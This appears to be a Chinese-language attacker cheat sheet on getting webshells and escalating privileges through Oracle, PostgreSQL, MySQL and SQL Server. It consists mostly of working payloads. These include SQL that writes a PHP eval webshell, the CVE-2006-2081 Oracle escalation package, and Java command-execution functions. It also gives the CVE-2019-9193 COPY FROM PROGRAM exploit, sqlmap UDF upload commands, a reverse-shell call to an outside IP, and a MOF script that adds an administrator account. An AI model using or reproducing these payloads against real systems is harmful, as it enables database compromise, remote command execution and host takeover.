数据库相关
数据库相关
以前没实操做过oracle数据库
。只会mysql,,现在做一个简单的总结吧。。
oracle
写shell的条件
- 有DBA权限(剩下的connect权限之类的)
- 有网站的绝对路径
写入方法
储存过程写入
首先我们需要创建一个ORACLE的目录对象指向某一路径,在真实环境中需要指向Web目录下,在这里我们将其指向/home/oracle这一路径下。
1 | create or replace directory WEBSHELL_DIR as 'C:\apache-tomcat-8.5.56\webapps\Shopping'; |
然后利用存储过程写入一句话木马
1 | declare |
之后就可以写入成功
利用数据库表空间结构写入文件
创建表空间,根据文件大小可相应修改表空间
1 | create tablespace jsptest datafile 'C:\apache-tomcat-8.5.56\webapps\Shopping\1.jsp' size 100k nologging; |
创建表名并设置要插入字符的长度,此处先测试js代码,设置长度为100
1 | create table webshell(C varchar2(100)) tablespace jsptest; |
写入要执行的代码
1 | insert into WEBSHELL values(<svg/onload=alert(1>'); |
然后提交数据
1 | commit |
提交后必须同步数据至当前表空间
1 | alter tablespace jsptest offline; |
删除表空间
1 | drop tablespace jsptest including contents; |
用户提权
提升漏洞编号为CVE-2006-2081,漏洞成因由SYS用户运行的DBMS_EXPORT_EXTENSION存储过程存在PL/SQL注入漏洞,允许低权限用户以DBA权限执行任意SQL代码,此项为Oracle 10g经典提权漏洞。
先查询用户权限
1
select * from user_role_privs;
然后创建程序包
1
2
3
4
5
6
7
8Create or REPLACE
PACKAGE HACKERPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env
SYS.odcienv)
RETURN NUMBER;
END;
/创建程序包体
1
2
3
4
5
6
7
8
9
10
11
12
13
14Create or REPLACE PACKAGE BODY HACKERPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env
SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO test';
COMMIT;
RETURN(1);
END;
END;
/然后再次查看用户权限
1
select * from user_role_privs;
权限提升
因为java大多是以system权限运行,所以当oracle通过java获得命令执行权限时,便相当于间接获得了system权限,因此通过java权限命令执行也可以作为Oracle的提权过程
利用java权限提权
先使用dba权限赋予用户java运行权限
1
grant JAVASYSPRIV to system
写入java程序包
1
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
获取
java
执行权限1
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;
创建执行命令的函数
select
1
dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function shell(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
执行命令
1
select shell("whoami") from dual
利用储存过程提权
oracle也可以利用存储过程来进行命令执行,当用户拥有创建存储过程权限时,则可以创建一个java class,然后用创建一个存储过程来进行调用
查看权限发现用户具有create procedure权限
1
select * from session_privs;
创建一个
java class
然后用procedure
包装进行调用1
2
3
4
5
6
7
8
9
10
11create or replace and resolve java source named CMD as
import java.lang.*;
import java.io.*;
public class CMD
{
public static void execmd(String command) throws IOException
{
Runtime.getRuntime().exec(command);
}
}
/创建储存过程
1
2
3create or replace procedure CMDPROC(command in varchar) as language java
name 'CMD.execmd(java.lang.String)';
/执行命令
1
EXEC CMDPROC()
Postgresql
写入webshell
直接利用copy函数将文件写入指定目录(需要已知绝对路径且对目录具有可操作权限)
1 | uid=1;copy (select '<?php @eval("$_POST[cmd]");?>') to 'C:\Users\test\Desktop\php\phpStudy\WWW\1.php'; |
命令执行
高权限命令执行漏洞CVE-2019-9193
从9.3版本开始,PostgreSQL实现了导入导出数据的命令“COPY TO/FROM PROGRAM””,而此命令允许数据库超级用户以及“pg_read_server_files”组内用户执行上任意操作系统命令
利用条件
- postgresql数据库版本在9.3-11.2
- 执行数据库语句用户为超级用户或者“pg_read_server_files”组用户,pg_read_server_files角色权限可以执行copy命令,且此权限为11版本新增角色,11版本以下需要超级用户权限
实现
接下来开始命令执行步骤:
创建用来保存命令输出的表
1 | DROP TABLE IF EXISTS rce; |
通过“COPY FROM PROGRAM”执行系统命令
1 | COPY rce FROM PROGRAM 'whoami'; |
查看执行结果
1 | SELECT * FROM rce; |
Mysql
写webshell
into oufile 写 shell
- 知道网站绝对路径
- 高权限数据库用户
- load_file() 开启 即 secure_file_priv 无限制
- 网站路径有写入权限
1 | mysql> show global variables like '%secure_file_priv%'; |
Value | 说明 |
---|---|
NULL | 不允许导入或导出 |
/tmp | 只允许在 /tmp 目录导入导出 |
空 | 不限制目录 |
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
如果满足上述所有条件的话,那么可以尝试使用下面原生的 SQL 语句来直接写 shell:
1 | select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php'; |
在sqlmap下,可以这么做
1 | sqlmap -u "http://x.x.x.x/?id=x" --file-write="/Users/guang/Desktop/shell.php" --file-dest="/var/www/html/test/shell.php" |
一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows 环境下成功率会很高。
日志文件写 shell
- Web 文件夹宽松权限可以写入
- Windows 系统下
- 高权限运行 MySQL 或者 Apache
MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell
1 | mysql> SHOW VARIABLES LIKE 'general%'; |
general_log
默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中
1 | # 更改日志文件位置 |
Apache 访问这个 php 文件会出现 HTTP 500 的状态码,结论是 root 系统这种情况基本上不会成功,只有在 Windows 系统下成功率会高一些。
提权
UDF提权
加载动态链接库
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
sqlmap下dll文件的位置
1 | sqlmap根目录/data/udf/mysql |
不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py
,解码方法如下:
1 | # 查看当前目录情况 |
寻找插件目录
接下来的任务是把 UDF 的动态链接库文件放到 MySQL 的插件目录下,这个目录改如何去寻找呢?可以使用如下的 SQL 语句来查询:
1 | mysql> show variables like '%plugin%'; |
如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin
文件夹
1 | mysql > select 233 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation'; |
然后写入动态链接库
SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击
1 | sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so" |
创建自定义函数调用命令
1 | mysql > CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; |
导入成功后查看一下 mysql 函数里面是否新增了 sys_eval:
1 | mysql> select * from mysql.func; |
这样,就是支持创建这个函数的命令执行了
1 | mysql > select sys_eval('whoami'); |
删除自定义函数
1 | mysql > drop function sys_eval; |
tools工具
https://github.com/echohun/tools/blob/master/%E5%A4%A7%E9%A9%AC/udf.php
一键 DUMP UDF 和函数,操作门槛降低了很多
mysql 不允许外连
这个时候可以使用 Navicat 自带的 tunnel 隧道脚本上传到目标网站上:
国光师傅这里顺便打包了一份出来:蓝奏云:Navicat tunnel.zip 实际上 Navicat 很久很久以前就自带这些脚本了,这个脚本有点类似于 reGeorg,只是官方的脚本用起来更舒服方便一点,脚本的界面如下:
接着连接的时候设置 HTTP 通道:
这个时候主机地址填写 localhost 即可:
连接成功后自然就可以愉快地进行手工 UDF 提权啦
反弹端口提权
实际上这是 UDF 提权的另一种用法,只是这里的动态链接库被定制过的,功能更多更实用一些
1 | cmdshell # 执行cmd |
国光师傅找的:https://sqlsec.lanzoux.com/iEQA0ijfu6d
然后目标机器上导入 dll 动态链接库(这里偷懒就忽略了),然后创建自定义函数:
1 | mysql > CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll'; |
然后反弹shell
1 | mysql > select backshell("10.20.24.244", 2333); |
MOF提权
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功
提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
脚本内容如下:
1 | #pragma namespace("\\\\.\\root\\subscription") |
核心payload
为:
1 | var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\") |
sqlserver(msssql)
需要SA权限
使用xp_cmdshell进行提权
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后默认禁止,但未删除
使用sp_oacreate进行提权|无回显
沙盒提权
参考文章
https://www.freebuf.com/articles/database/270106.html
https://www.sqlsec.com/2020/11/mysql.html#toc-heading-26